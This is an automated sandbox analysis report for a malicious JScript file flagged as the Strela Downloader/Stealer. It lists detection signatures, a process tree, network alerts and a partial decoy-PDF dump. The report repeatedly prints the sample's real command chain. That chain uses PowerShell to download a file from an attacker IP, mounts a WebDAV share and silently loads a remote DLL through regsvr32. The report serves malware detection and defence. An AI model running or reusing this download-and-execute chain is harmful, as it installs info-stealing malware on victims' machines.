Edit tour

Windows Analysis Report
32750305971799721630.js

Overview

General Information

Sample name:	32750305971799721630.js
Analysis ID:	1588270
MD5:	a5741dfa9236c5c8e9415d4a102c6beb
SHA1:	d268b25d2f894d135a83b2dcdd903c3907ce465a
SHA256:	a861047f87951ccce1b78a17526c1051b0b5edf20734d3276c0bb432c0117426
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7056 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7164 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2180 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5828 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1620 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7188 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1596,i,11122811908735448864,9282891485107306110,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1184 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6532 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5228 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7056	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7164, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2180, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7164, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2180, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", ProcessId: 7056, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6532, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ProcessId: 7164, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ProcessId: 7164, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ProcessId: 7164, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ProcessId: 7164, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ProcessId: 7164, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", ProcessId: 7056, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7164, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 2180, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1184, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6532, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5228, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1184, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6532, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\32750305971799721630.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7056, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\256163183812535.dll, ProcessId: 7164, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:18:06.366865+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:18:03.613389+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 32750305971799721630.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 32750305971799721630.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:18:03 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

